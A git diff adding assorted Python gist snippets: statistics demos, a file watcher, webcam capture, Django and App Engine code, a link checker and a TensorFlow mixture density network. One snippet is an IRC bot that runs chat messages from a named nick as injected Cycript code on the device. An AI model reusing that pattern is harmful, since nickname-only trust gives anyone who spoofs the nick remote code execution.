+for site in sites:
+    if i % 10 == 0:
+        print "%i..." % i
+    dist = computeDistance(site, land)
+    f.write("%f,%f,%f\n" % (toLon(site.x), site.y, dist))
+    i+=1
+f.close()
diff --git a/hard-gists/2838927/._snippet.py b/hard-gists/2838927/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2838927/._snippet.py differ
diff --git a/hard-gists/2838927/snippet.py b/hard-gists/2838927/snippet.py
new file mode 100644
index 00000000..af6c2f96
--- /dev/null
+++ b/hard-gists/2838927/snippet.py
@@ -0,0 +1,45 @@
+# -*- coding: utf-8 -*-
+'''
+Created on 17.03.2012
+
+@author: moschlar
+'''
+
+import tw2.core as twc
+import tw2.forms as twf
+import tw2.sqla as twsa
+import tw2.bootstrap as twb
+
+from awesome.model import Group, User
+
+
+class DbSelectionField(twf.SelectionField):
+    entity = twc.Param('SQLAlchemy mapped class to use', request_local=False)
+    query = twc.Param()
+
+    def prepare(self):
+        self.options = [(x.id, unicode(x)) for x in self.query.all()]
+        super(DbSelectionField, self).prepare()
+
+
+class GroupSelectField(twb.SingleSelectField, DbSelectionField):
+    @classmethod
+    def post_define(cls):
+        if getattr(cls, 'entity', None):
+            cls.validator = twsa.RelatedValidator(entity=cls.entity)
+
+
+class UserForm(twb.HorizontalForm):
+
+    id = twf.HiddenField()
+
+    group_id = GroupSelectField(
+        entity=Group,
+    )
+
+    def prepare(self):
+        self.child.c.group_id.query = \
+            Group.query.filter(
+                Group.id.in_(User.query.get(self.value.id).groups)
+            )
+        super(UserForm, self).prepare()
diff --git a/hard-gists/2840020/._snippet.py b/hard-gists/2840020/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2840020/._snippet.py differ
diff --git a/hard-gists/2840020/snippet.py b/hard-gists/2840020/snippet.py
new file mode 100644
index 00000000..02603907
--- /dev/null
+++ b/hard-gists/2840020/snippet.py
@@ -0,0 +1,63 @@
+#! /usr/bin/env python
+
+import sys
+import random
+import pymc
+import numpy
+from dendropy.mathlib import probability as prob
+from dendropy.mathlib import statistics as stats
+
+rng = random.Random()
+
+##############################################################################
+# supporting functions
+
+def summarize(mcmc, field):
+    results = mcmc.trace(field)[:]
+    results = zip(*results)
+    means = []
+    for r in results:
+        m, v = stats.mean_and_sample_variance(r)
+        means.append(m)
+    means.append(1.0 - sum(means))
+    print
+    print "---"
+    print means
+
+##############################################################################
+# data
+
+NUM_DRAWS = 100
+NUM_SAMPLES = 50
+TRUE_PROPS = [0.6, 0.3, 1.0]
+
+def generate_data():
+    data = []
+    for i in range(NUM_SAMPLES):
+        x = numpy.random.multinomial(NUM_DRAWS, TRUE_PROPS)
+        data.append(x)
+    return data
+
+##############################################################################
+# model
+
+props = pymc.Dirichlet(
+        name="props",
+        theta=[1.0, 1.0, 1.0],)
+draws = pymc.Multinomial(
+        name="draws",
+        value=generate_data(),
+        n=NUM_DRAWS,
+        p=props,
+        observed=True)
+mcmc = pymc.MCMC([props, draws])
+mcmc.sample(iter=100000, burn=10000, thin=100)
+# mcmc.sample(iter=1000, burn=100, thin=1)
+summarize(mcmc, "props")
+
+
+
+
+
+
+
diff --git a/hard-gists/284507/._snippet.py b/hard-gists/284507/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/284507/._snippet.py differ
diff --git a/hard-gists/284507/snippet.py b/hard-gists/284507/snippet.py
new file mode 100644
index 00000000..a5df3ae4
--- /dev/null
+++ b/hard-gists/284507/snippet.py
@@ -0,0 +1,84 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import os
+import select
+from select import kqueue, kevent
+
+
+class Watch(object):
+    SIZE_HINT = 50000
+
+    def __init__(self, appdir, callback):
+        self.kqueue = kqueue()
+        self.kcontrol = self.kqueue.control
+        self.fds = {}
+        self.paths = {}
+        self.appdir = appdir
+        self.callback = callback
+        self.register_path(appdir)
+
+    def register(self, fd, path):
+        assert fd not in self.fds
+        self.fds[fd] = path
+        self.paths[path] = fd
+        ev = [select.kevent(
+            fd,
+            filter=select.KQ_FILTER_VNODE,
+            flags=select.KQ_EV_ADD | select.KQ_EV_ENABLE | select.KQ_EV_CLEAR,
+            fflags=select.KQ_NOTE_DELETE | select.KQ_NOTE_EXTEND |
+            select.KQ_NOTE_WRITE | select.KQ_NOTE_ATTRIB
+            )]
+        self.kcontrol(ev, 0, 0)
+
+
+    def unregister(self, fd):
+        if fd in self.fds:
+            ev = [select.kevent(
+                fd,
+                filter=select.KQ_FILTER_VNODE, flags=select.KQ_EV_DELETE,
+                fflags=select.KQ_NOTE_DELETE | select.KQ_NOTE_EXTEND |
+                select.KQ_NOTE_WRITE | select.KQ_NOTE_ATTRIB
+                )]
+            self.kcontrol(ev,  0, 0)
+            del self.paths[self.fds[fd]]
+            del self.fds[fd]
+
+    def register_path(self, path):
+        for root, dirs, files in os.walk(path):
+            print "-", root, dirs, files
+            if root not in self.paths:
+                print "register %s" % root
+                fd = os.open(root, os.O_RDONLY)
+                self.register(fd, root)
+                for f in files:
+                    fp = os.path.join(root, f)
+                    print fp
+                    fd = os.open(fp, os.O_RDONLY)
+                    self.register(fd, fp)
+                    
+
+    def loop(self):
+        try:
+            while True:
+                events = self.kcontrol([], self.SIZE_HINT, None)
+                for ev in events:
+                    fd = ev.ident
+                    path = self.fds[fd]
+                    if ev.fflags & select.KQ_NOTE_DELETE:
+                        self.unregister(fd)
+                    elif ev.fflags & select.KQ_NOTE_EXTEND or ev.fflags & select.KQ_NOTE_WRITE:
+                        self.register_path(self.fds[fd])
+                    print "event:", path, ev
+                    self.callback(path)
+        except KeyboardInterrupt:
+            self.kqueue.close()
+            for fd in self.events:
+                os.close(fd)
+
+if __name__ == "__main__":
+    def test(path):
+        print path
+
+    watch = Watch("/Users/bd/tmp/app", test)
+    watch.loop()
diff --git a/hard-gists/2856099/._snippet.py b/hard-gists/2856099/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2856099/._snippet.py differ
diff --git a/hard-gists/2856099/snippet.py b/hard-gists/2856099/snippet.py
new file mode 100644
index 00000000..fafa569d
--- /dev/null
+++ b/hard-gists/2856099/snippet.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python3
+# Peter Simonyi  1 June 2012
+'''A binary clock: prints the current time (HHMMSS) in binary-coded decimal.
+
+Each BCD digit takes one column; least-significant bits are at the bottom.
+Example: at 21:14:59 (local time):
+000001
+000110
+100000
+011011
+'''
+
+import time
+from itertools import zip_longest
+
+
+def main():
+    print(vertical_strings(bcd(time.strftime('%H%M%S'))))
+
+# bcd :: iterable(characters '0'-'9') -> [str]
+def bcd(digits):
+    'Convert a string of decimal digits to binary-coded-decimal.'
+    def bcdigit(d):
+        'Convert a decimal digit to BCD (4 bits wide).'
+        # [2:] strips the '0b' prefix added by bin(). 
+        return bin(d)[2:].rjust(4, '0')
+    return (bcdigit(int(d)) for d in digits)
+
+# vertical_strings :: iterable(str) -> str
+def vertical_strings(strings):
+    'Orient an iterable of strings vertically: one string per column.'
+    iters = [iter(s) for s in strings]
+    concat = ''.join
+    return '\n'.join(map(concat,
+                         zip_longest(*iters, fillvalue=' ')))
+
+
+if __name__ == '__main__':
+    main()
+
diff --git a/hard-gists/2859545/._snippet.py b/hard-gists/2859545/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2859545/._snippet.py differ
diff --git a/hard-gists/2859545/snippet.py b/hard-gists/2859545/snippet.py
new file mode 100644
index 00000000..ce8853e5
--- /dev/null
+++ b/hard-gists/2859545/snippet.py
@@ -0,0 +1,118 @@
+########
+# This code creates 2 sub-processes: one that continually polls a webcam and labels each resulting image with a timestamp, and another that saves these images to file. The process that saves the images to file doesn't save all the images, but instead listens to the main process for time windows that it should save. This permits one to save only certain time windows (toss images that fall outside this time window) and avoids the capture start up lag that occurs if you simply try to poll the webcam during the time window of interest (this lag can be several tenths of a second!). Converting the images to string then pickling before queueing them was necessary because opencv's iplimage format doesn't like to be put in a queue directly.
+########
+
+import multiprocessing
+import cv
+import cPickle
+import time
+
+queue_to_cam_writer = multiprocessing.Queue()
+queue_from_cam_writer = multiprocessing.Queue()
+
+queue_to_cam_capture = multiprocessing.Queue()
+queue_from_cam_capture = multiprocessing.Queue()
+
+def cam_writer_loop(queue_to_cam_writer,queue_from_cam_writer,queue_from_cam_capture):
+	done = False
+	start_list = []
+	stop_list = []
+	trial_list = []
+	i = 0
+	while not done:
+		if not queue_to_cam_writer.empty():
+			from_queue = queue_to_cam_writer.get()
+			if from_queue=='quit':
+				done = True
+			elif from_queue[0]=='start':
+				start_list.append(from_queue[1])
+				stop_list.append(999999999999)
+				trial_list.append(from_queue[2])
+			elif from_queue[0]=='stop':
+				stop_list[-1] = from_queue[1]
+		if not queue_from_cam_capture.empty():
+			from_queue = queue_from_cam_capture.get()
+			if len(start_list)>0:
+				t = from_queue[0]
+				if t>start_list[0]:
+					if t>stop_list[0]:
+						queue_from_cam_writer.put(['done',trial_list[0]])
+						del(start_list[0])
+						del(stop_list[0])
+						del(trial_list[0])
+						i = 0
+					else:
+						i = i + 1
+						image_as_pickled_string = from_queue[1]
+						image_size = from_queue[2]
+						image_as_string = cPickle.loads(image_as_pickled_string)
+						image = cv.CreateImageHeader(image_size, cv.IPL_DEPTH_8U, 3)
+						cv.SetData(image, image_as_string)
+						cv.SaveImage('./temp/'+str(trial_list[0])+'_'+str(i)+'_'+str(t-start_list[0])+'.png',image)
+
+
+cam_writer_process = multiprocessing.Process(target=cam_writer_loop,args=(queue_to_cam_writer,queue_from_cam_writer,queue_from_cam_capture,))
+cam_writer_process.start()
+
+
+def cam_capture_loop(queue_to_cam_capture,queue_from_cam_capture):
+	cam = cv.CaptureFromCAM(-1)
+	done = False
+	i = 0
+	start = time.time()
+	while not done:
+		if not queue_to_cam_capture.empty():
+			from_queue = queue_to_cam_capture.get()
+			if from_queue=='quit':
+				done = True
+		image = cv.QueryFrame(cam)
+		t = time.time()
+		image_as_string = image.tostring()
+		image_as_pickled_string = cPickle.dumps(image_as_string,-1)
+		queue_from_cam_capture.put([t,image_as_pickled_string,cv.GetSize(image)])
+		i = i + 1
+		time.sleep(0.001) #neccessary to give the cam_writer_process time to unqueue and thereby avoid a memory overflow
+	print [i*1.0/(t-start)]
+	del(cam)
+
+
+cam_capture_process = multiprocessing.Process(target=cam_capture_loop,args=(queue_to_cam_capture,queue_from_cam_capture,))
+cam_capture_process.start()
+
+time.sleep(5)
+print 'starting'
+queue_to_cam_writer.put(['start',time.time(),1])
+time.sleep(1)
+print 'stopping'
+queue_to_cam_writer.put(['stop',time.time()])
+
+time.sleep(5)
+print 'starting'
+queue_to_cam_writer.put(['start',time.time(),2])
+time.sleep(1)
+print 'stopping'
+queue_to_cam_writer.put(['stop',time.time()])
+
+
+print 'waiting for writer to finish'
+done = False
+while not done:
+	if not queue_from_cam_writer.empty():
+		from_queue = queue_from_cam_writer.get()
+		if from_queue[0]=='done':
+			if from_queue[1]==2:
+				done = True
+
+print 'quitting'
+queue_to_cam_writer.put('quit')
+queue_to_cam_capture.put('quit')
+
+print 'joining writer'
+cam_writer_process.join()
+print 'killing writer'
+cam_writer_process.terminate()
+
+print 'killing capture'
+cam_capture_process.terminate()
+
+print 'done'
diff --git a/hard-gists/2866253/._snippet.py b/hard-gists/2866253/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2866253/._snippet.py differ
diff --git a/hard-gists/2866253/snippet.py b/hard-gists/2866253/snippet.py
new file mode 100644
index 00000000..a2fa1469
--- /dev/null
+++ b/hard-gists/2866253/snippet.py
@@ -0,0 +1,16 @@
+from random import choice
+from string import ascii_lowercase, digits
+from django.contrib.auth.models import User
+
+def generate_random_username(length=16, chars=ascii_lowercase+digits, split=4, delimiter='-'):
+    
+    username = ''.join([choice(chars) for i in xrange(length)])
+    
+    if split:
+        username = delimiter.join([username[start:start+split] for start in range(0, len(username), split)])
+    
+    try:
+        User.objects.get(username=username)
+        return generate_random_username(length=length, chars=chars, split=split, delimiter=delimiter)
+    except User.DoesNotExist:
+        return username;
diff --git a/hard-gists/2866461/._snippet.py b/hard-gists/2866461/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2866461/._snippet.py differ
diff --git a/hard-gists/2866461/snippet.py b/hard-gists/2866461/snippet.py
new file mode 100644
index 00000000..5566697d
--- /dev/null
+++ b/hard-gists/2866461/snippet.py
@@ -0,0 +1,61 @@
+from twisted.words.protocols import irc
+from twisted.internet import reactor, protocol
+
+import sys, os, subprocess, tempfile
+
+class CycriptBot(irc.IRCClient):
+    nickname = "cycriptbot"
+
+    def __init__(self):
+        self.process = "SpringBoard"
+
+    def sendCommand(self, command):
+        (script, path) = tempfile.mkstemp()
+        os.write(script, command)
+        cycript = subprocess.Popen(['/usr/bin/cycript', '-p', self.process, path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+        returncode = cycript.wait()
+        os.close(script)
+        os.unlink(path)
+        return cycript.stdout.read()
+
+    def signedOn(self):
+        self.join(self.factory.channel)
+
+    def privmsg(self, user, channel, msg):
+        user = user.split('!', 1)[0]
+
+        # Check to see if they're sending me a private message
+        if channel == self.nickname:
+            msg = "I don't respond to PMs"
+            self.msg(user, msg)
+            return
+
+        # Otherwise check to see if it is a message directed at me
+        highlight = self.nickname + ":"
+        if msg.startswith(highlight):
+            if user == self.factory.main:
+                msg = msg[len(highlight):]
+                msg = self.sendCommand(msg)
+                self.msg(channel, msg)
+            else:
+                msg = user + ": Why should I listen to you?"
+                self.msg(channel, msg)
+
+class CycriptBotFactory(protocol.ClientFactory):
+    protocol = CycriptBot
+
+    def __init__(self, main, channel):
+        self.channel = channel
+        self.main = main
+
+    def clientConnectionLost(self, connector, reason):
+        connector.connect()
+
+    def clientConnectionFailed(self, connector, reason):
+        print "Connection failed: " + reason
+        reactor.stop()
+
+if __name__ == '__main__':
+    factory = CycriptBotFactory("conradev", "theos")
+    reactor.connectTCP("irc.saurik.com", 6667, factory)
+    reactor.run()
\ No newline at end of file
diff --git a/hard-gists/286805/._snippet.py b/hard-gists/286805/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/286805/._snippet.py differ
diff --git a/hard-gists/286805/snippet.py b/hard-gists/286805/snippet.py
new file mode 100644
index 00000000..c18a9db3
--- /dev/null
+++ b/hard-gists/286805/snippet.py
@@ -0,0 +1,173 @@
+# -*- coding: utf8 -*-
+
+from google.appengine.ext import webapp
+from google.appengine.ext.webapp.util import run_wsgi_app
+
+from google.appengine.ext import db
+
+class TestModel(db.Model):
+    message = db.StringProperty()
+
+class TransactionTest():
+    def run_transaction_test(self):
+        try:
+            db.run_in_transaction(self.transaction)
+            return True
+        except:
+            return False
+
+# 成功
+class Test0(TransactionTest):
+    def transaction(self):
+        a = TestModel(key_name='reni0', message=u'がんばれに')
+        a.put()
+
+# 失敗
+class Test1(TransactionTest):
+    def transaction(self):
+        a = TestModel(key_name='shiorin1', message=u'しおりんうれしおりん')
+        a.put()
+        b = TestModel(key_name='kanako1', message=u'かなこぉ↑')
+        b.put()
+
+# 失敗
+class Test2(TransactionTest):
+    def __init__(self):
+        a = TestModel(key_name='shiorin2', message=u'しおりんうれしおりん')
+        a.put()
+    def transaction(self):
+        a = TestModel.get_by_key_name('shiorin2')
+        b = TestModel(key_name='odagirishiorin2', message=a.message)
+        b.put()
+
+# 失敗
+class Test3(TransactionTest):
+    def __init__(self):
+        a = TestModel(key_name='kanako3', message=u'かなこぉ↑')
+        a.put()
+    def transaction(self):
+        a = TestModel.get_by_key_name('kanako3')
+        a.delete()
+        b = TestModel(key_name=u'momoka3', message=u'有安でありやす')
+        b.put()
+
+# 成功
+class Test4(TransactionTest):
+    def transaction(self):
+        a = TestModel(key_name='shiorin4', message=u'しおりんショック＞＜')
+        a.put()
+        b = TestModel(key_name='odagirishiorin4', message=u'お゛た゛き゛り゛し゛お゛り゛です', parent=a)
+        b.put()
+
+# 成功
+class Test5(TransactionTest):
+    def transaction(self):
+        a = TestModel(key_name='shiorin5', message=u'滅相もない')
+        a.put()
+        b = TestModel(key_name='odagirishiorin5', message=u'お゛た゛き゛り゛し゛お゛り゛です', parent=a)
+        b.put()
+        c = TestModel(key_name='uran5', message=u'う゛ら゛ん゛です', parent=a)
+        c.put()
+
+# 成功
+class Test6(TransactionTest):
+    def __init__(self):
+        a = TestModel(key_name='shiorin6', message=u'さびしおりん')
+        a.put()
+        b = TestModel(key_name='odagirishiorin6', message=u'お゛た゛き゛り゛し゛お゛り゛です', parent=a)
+        b.put()
+        c = TestModel(key_name='uran6', message=u'う゛ら゛ん゛です', parent=a)
+        c.put()
+    def transaction(self):
+        a = TestModel.get_by_key_name('shiorin6')
+        b = TestModel.get_by_key_name('odagirishiorin6', a)
+        b.message = u'に゛ゃー'
+        b.put()
+        c = TestModel.get_by_key_name('uran6', a)
+        c.message = u'わ゛ぁー'
+        c.put()
+
+# 成功
+class Test7(TransactionTest):
+    def __init__(self):
+        a = TestModel(key_name='shiorin7', message=u'しおりんショック＞＜')
+        a.put()
+        b = TestModel(key_name='odagirishiorin7', message=u'お゛た゛き゛り゛し゛お゛り゛です', parent=a)
+        b.put()
+        c = TestModel(key_name='uran7', message=u'う゛ら゛ん゛です', parent=a)
+        c.put()
+        a.delete()
+    def transaction(self):
+        parent_key = db.Key.from_path('TestModel', 'shiorin7')
+        b = TestModel.get_by_key_name('odagirishiorin7', parent_key)
+        b.message = u'に゛ゃー'
+        b.put()
+        c = TestModel.get_by_key_name('uran7', parent_key)
+        c.message = u'わ゛ぁー'
+        c.put()
+
+# 成功
+class Test8(TransactionTest):
+    def transaction(self):
+        a = TestModel(key_name='shiorin8', message=u'しおりんショック＞＜')
+        a.put()
+        b = TestModel(key_name='odagirishiorin8', message=u'お゛た゛き゛り゛し゛お゛り゛です', parent=a)
+        b.put()
+        c = TestModel(key_name='ruka8', message=u'るかです', parent=b)
+        c.put()
+
+# 成功
+class Test9(TransactionTest):
+    def __init__(self):
+        a = TestModel(key_name='shiorin9', message=u'しおりんショック＞＜')
+        a.put()
+        b = TestModel(key_name='odagirishiorin9', message=u'お゛た゛き゛り゛し゛お゛り゛です', parent=a)
+        b.put()
+        c = TestModel(key_name='ruka9', message=u'るかです', parent=b)
+        c.put()
+        b.delete()
+    def transaction(self):
+        a = TestModel.get_by_key_name('shiorin9')
+        a.message = u'悲しおりん'
+        a.put()
+        b = db.Key.from_path('TestModel', 'shiorin9', 'TestModel', 'odagirishiorin9')
+        c = TestModel.get_by_key_name('ruka9', b)
+        c.message = u'悲しおりん'
+        c.put()
+
+class TransactionDispatcher(webapp.RequestHandler):
+    def get(self, num=''):
+        n = int(num)
+        transaction_class_list = [
+            Test0, Test1, Test2, Test3, Test4,
+            Test5, Test6, Test7, Test8, Test9
+        ]
+        
+        if n >= len(transaction_class_list):
+            self.redirect('/transaction/index')
+        
+        t = transaction_class_list[n]()
+        if t.run_transaction_test():
+            self.response.out.write('<html><body>Test%s is success.</body></html>' % num)
+        else:
+            self.response.out.write('<html><body>Test%s is error.</body></html>' % num)
+
+class MainHandler(webapp.RequestHandler):
+    def get(self):
+        w = self.response.out.write
+        w('<html><body>')
+        for i in range(10):
+            w('<p><a href="/transaction/test%s">Test%s</a></p>' %
+                (str(i), str(i)))
+        w('</body></html>')
+
+application = webapp.WSGIApplication(
+    [('/transaction/test([\d]+)', TransactionDispatcher),
+     ('/transaction/index', MainHandler)],
+    debug=True)
+
+def main():
+    run_wsgi_app(application)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/2869341f38f5b1eeb86d/._snippet.py b/hard-gists/2869341f38f5b1eeb86d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2869341f38f5b1eeb86d/._snippet.py differ
diff --git a/hard-gists/2869341f38f5b1eeb86d/snippet.py b/hard-gists/2869341f38f5b1eeb86d/snippet.py
new file mode 100644
index 00000000..10bb4fe6
--- /dev/null
+++ b/hard-gists/2869341f38f5b1eeb86d/snippet.py
@@ -0,0 +1,39 @@
+# If your test settings file doesn't import any other settings file
+# then you can use the function directly:
+
+def prevent_tests_migrate(db):
+    import django
+    from django.db import connections
+    from django.db.migrations.executor import MigrationExecutor
+    django.setup()
+    ma = MigrationExecutor(connections[db]).loader.migrated_apps
+    return dict(zip(ma, ['{a}.notmigrations'.format(a=a) for a in ma]))
+MIGRATION_MODULES = prevent_tests_migrate('default')
+
+# If your test settings file imports another settings file (typically
+# your base settings file, then the function won't work as the settings
+# won't be fully in scope by the time setup() is called. Depending on
+# you settings layout you'll an error like:
+# "ImproperlyConfigured: The SECRET_KEY setting must not be empty."
+# or ""Apps aren't loaded yet", or "RuntimeError: populate() isn't reentrant"
+#
+# Instead, simply use the function in the Django shell to generate the
+# dictionary and hardcode it to MIGRATION_MODULES in the test settings.
+# Since Django is already set up in the shell the function can just be:
+def prevent_tests_migrate(db):
+    from django.db import connections
+    from django.db.migrations.executor import MigrationExecutor
+    ma = MigrationExecutor(connections[db]).loader.migrated_apps
+    return dict(zip(ma, ['{a}.notmigrations'.format(a=a) for a in ma]))
+
+# You'll need to manually update MIGRATION_MODULES if you add new apps
+# with migrations and want them skipped as well.
+#
+# Also, if you suddenly come across an error like this when Django starts up:
+# "Migration foo.0001_initial dependencies reference nonexistent
+# parent node (u'bar', u'0001_initial')"
+# then it probably means you've added an app (maybe 3rd party) that has a
+# dependency on one of the apps in MIGRATION_MODULES that you've skipped
+# (e.g. a dependency on the contenttypes app). To fix, simply add the new
+# app to MIGRATION_MODULES.
+
diff --git a/hard-gists/2870240/._snippet.py b/hard-gists/2870240/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2870240/._snippet.py differ
diff --git a/hard-gists/2870240/snippet.py b/hard-gists/2870240/snippet.py
new file mode 100644
index 00000000..432d5773
--- /dev/null
+++ b/hard-gists/2870240/snippet.py
@@ -0,0 +1,51 @@
+#!/usr/bin/python
+
+import subprocess
+
+# PyObjC-related imports
+from AppKit import NSApplication, NSSystemDefined
+from PyObjCTools import AppHelper
+
+
+KEY_UP = 11
+
+
+class KeySocketApp(NSApplication):
+
+    repeated = False
+
+    def sendEvent_(self, event):
+        if event.type() is NSSystemDefined and event.subtype() is 8:
+            data = event.data1()
+            keyCode = (data & 0xFFFF0000) >> 16
+            keyFlags = (data & 0x0000FFFF)
+            keyState = (keyFlags & 0xFF00) >> 8
+            keyRepeat = keyFlags & 0x1
+
+            if keyRepeat and keyState is not KEY_UP:
+                if keyCode == 20:
+                    self.repeated = True
+                    print "prev"
+                    subprocess.call(['cmus-remote', '-k', '-10'])
+                elif keyCode == 19:
+                    self.repeated = True
+                    print "forward"
+                    subprocess.call(['cmus-remote', '-k', '+10'])
+
+            if keyState is KEY_UP:
+                if self.repeated:
+                    self.repeated = False
+                elif keyCode == 20:
+                    print "PREV"
+                    subprocess.call(['cmus-remote', '-r'])
+                elif keyCode == 16:
+                    print "PLAY"
+                    subprocess.call(['cmus-remote', '-u'])
+                elif keyCode == 19:
+                    print "FORWARD"
+                    subprocess.call(['cmus-remote', '-n'])
+
+
+if __name__ == '__main__':
+    app = KeySocketApp.sharedApplication()
+    AppHelper.runEventLoop()
diff --git a/hard-gists/2872d7f994d192188970408980267e6e/._snippet.py b/hard-gists/2872d7f994d192188970408980267e6e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2872d7f994d192188970408980267e6e/._snippet.py differ
diff --git a/hard-gists/2872d7f994d192188970408980267e6e/snippet.py b/hard-gists/2872d7f994d192188970408980267e6e/snippet.py
new file mode 100644
index 00000000..494202e8
--- /dev/null
+++ b/hard-gists/2872d7f994d192188970408980267e6e/snippet.py
@@ -0,0 +1,73 @@
+from bs4 import BeautifulSoup,SoupStrainer
+import urllib.request
+import colorama,re,queue,threading
+from colorama import Fore
+from urllib.parse import *
+
+class check_link():
+    def __init__(self,address):
+        self.address=address        
+    def check(self,address):   
+        try:
+            req=urllib.request.Request(url=address)
+            resp=urllib.request.urlopen(req)
+            if resp.status in [400,404,403,408,409,501,502,503]:print (Fore.RED+resp.status+"-"+resp.reason+"-->"+address)               
+            else: print (Fore.GREEN+"no problem in-->"+address)
+                              
+        except Exception as e:
+            print (Fore.YELLOW+"{}-{}".format(e,address))
+            pass   
+def pattern_adjust(a):  
+    try:
+        if re.match('^#' ,a):return 0 
+        r=urlsplit(a)
+        if r.scheme=='' and (r.netloc!='' or r.path!=''):
+            d=urlunsplit(r)
+            if re.match('^//' ,d):
+                m= re.search('(?<=//)\S+', d)
+                d=m.group(0)  
+                m="https://"+d
+                return m
+        elif r.scheme=='' and r.netloc=='':
+            return address+a
+        else:return a
+    except Exception as e:
+        pass
+def extract_link(address):
+    tags= {'a':'href', 'img':'src', 'script':'src', 'link':'href' }
+    for key,value in iter(tags.items()):    
+        try:
+            res=urllib.request.urlopen(address)
+            response=res.read().decode('utf-8') #needs improvement
+            for link in BeautifulSoup(response,"html.parser",parse_only=SoupStrainer(key)): 
+                if link.has_attr(value):
+                    p=pattern_adjust(link[value])
+                    if p!=0 and str(p)!='None':        
+                        newcheck=check_link(p)
+                        newcheck.check(p)
+                        if p not in hyperlinks:
+                            hyperlinks.add(p)
+                            if website.split('.')[1] in p:#needs improvement
+                                if not website.endswith(('.png','.jpeg','.js','jpg')):
+                                    q.put(p)                    
+        except Exception as e:
+            print (e,address)                                
+def threader():
+    while True:
+        value=q.get()  
+        result=extract_link(value)
+        q.task_done()
+
+if __name__=="__main__":
+    colorama.init()
+    q=queue.Queue()
+    global hyperlinks,website
+    hyperlinks=set()
+    website=input("Please enter the website address: ") 
+    for x in range(30):
+        t=threading.Thread(target=threader)
+        t.deamon=True
+        t.start()   
+    q.put(website.strip())
+    q.join()
+
diff --git a/hard-gists/287dbf64163fda470c89e8b992e112e0/._snippet.py b/hard-gists/287dbf64163fda470c89e8b992e112e0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/287dbf64163fda470c89e8b992e112e0/._snippet.py differ
diff --git a/hard-gists/287dbf64163fda470c89e8b992e112e0/snippet.py b/hard-gists/287dbf64163fda470c89e8b992e112e0/snippet.py
new file mode 100644
index 00000000..349d47b9
--- /dev/null
+++ b/hard-gists/287dbf64163fda470c89e8b992e112e0/snippet.py
@@ -0,0 +1,114 @@
+# From http://blog.otoro.net/2015/11/24/mixture-density-networks-with-tensorflow/
+
+import matplotlib.pyplot as plt
+import numpy as np
+import tensorflow as tf
+import math
+
+NHIDDEN = 24
+STDEV = 0.5
+KMIX = 24 # number of mixtures
+NOUT = KMIX * 3 # pi, mu, stdev
+
+NSAMPLE = 2400
+
+y_data = np.float32(np.random.uniform(-10.5, 10.5, (1, NSAMPLE))).T
+r_data = np.float32(np.random.normal(size=(NSAMPLE,1))) # random noise
+x_data = np.float32(np.sin(0.75*y_data)*7.0+y_data*0.5+r_data*1.0)
+
+
+x = tf.placeholder(dtype=tf.float32, shape=[None,1], name="x")
+y = tf.placeholder(dtype=tf.float32, shape=[None,1], name="y")
+
+Wh = tf.Variable(tf.random_normal([1,NHIDDEN], stddev=STDEV, dtype=tf.float32))
+bh = tf.Variable(tf.random_normal([1,NHIDDEN], stddev=STDEV, dtype=tf.float32))
+
+Wo = tf.Variable(tf.random_normal([NHIDDEN,NOUT], stddev=STDEV, dtype=tf.float32))
+bo = tf.Variable(tf.random_normal([1,NOUT], stddev=STDEV, dtype=tf.float32))
+
+hidden_layer = tf.nn.tanh(tf.matmul(x, Wh) + bh)
+output = tf.matmul(hidden_layer,Wo) + bo
+
+def get_mixture_coef(output):
+  out_pi = tf.placeholder(dtype=tf.float32, shape=[None,KMIX], name="mixparam")
+  out_sigma = tf.placeholder(dtype=tf.float32, shape=[None,KMIX], name="mixparam")
+  out_mu = tf.placeholder(dtype=tf.float32, shape=[None,KMIX], name="mixparam")
+  out_pi, out_sigma, out_mu = tf.split(output, num_or_size_splits=3, axis=1)
+  max_pi = tf.reduce_max(out_pi, 1, keep_dims=True)
+  out_pi = tf.subtract(out_pi, max_pi)
+  out_pi = tf.exp(out_pi)
+  normalize_pi = tf.reciprocal(tf.reduce_sum(out_pi, 1, keep_dims=True))
+  out_pi = tf.multiply(normalize_pi, out_pi)
+  out_sigma = tf.exp(out_sigma)
+  return out_pi, out_sigma, out_mu
+
+out_pi, out_sigma, out_mu = get_mixture_coef(output)
+
+oneDivSqrtTwoPI = 1 / math.sqrt(2*math.pi)
+def tf_normal(y, mu, sigma):
+  result = tf.subtract(y, mu)
+  result = tf.multiply(result, tf.reciprocal(sigma))
+  result = -tf.square(result)/2
+  return tf.multiply(tf.exp(result),tf.reciprocal(sigma))*oneDivSqrtTwoPI
+
+def get_lossfunc(out_pi, out_sigma, out_mu, y):
+  result = tf_normal(y, out_mu, out_sigma)
+  result = tf.multiply(result, out_pi)
+  result = tf.reduce_sum(result, 1, keep_dims=True)
+  result = -tf.log(result)
+  return tf.reduce_mean(result)
+
+lossfunc = get_lossfunc(out_pi, out_sigma, out_mu, y)
+train_op = tf.train.AdamOptimizer().minimize(lossfunc)
+
+sess = tf.InteractiveSession()
+sess.run(tf.global_variables_initializer())
+
+NEPOCH = 10000
+loss = np.zeros(NEPOCH)
+for i in range(NEPOCH):
+  sess.run(train_op,feed_dict={x: x_data, y: y_data})
+  loss[i] = sess.run(lossfunc, feed_dict={x: x_data, y: y_data})
+
+# plt.figure(figsize=(8, 8))
+# plt.plot(np.arange(100, NEPOCH,1), loss[100:], 'r-')
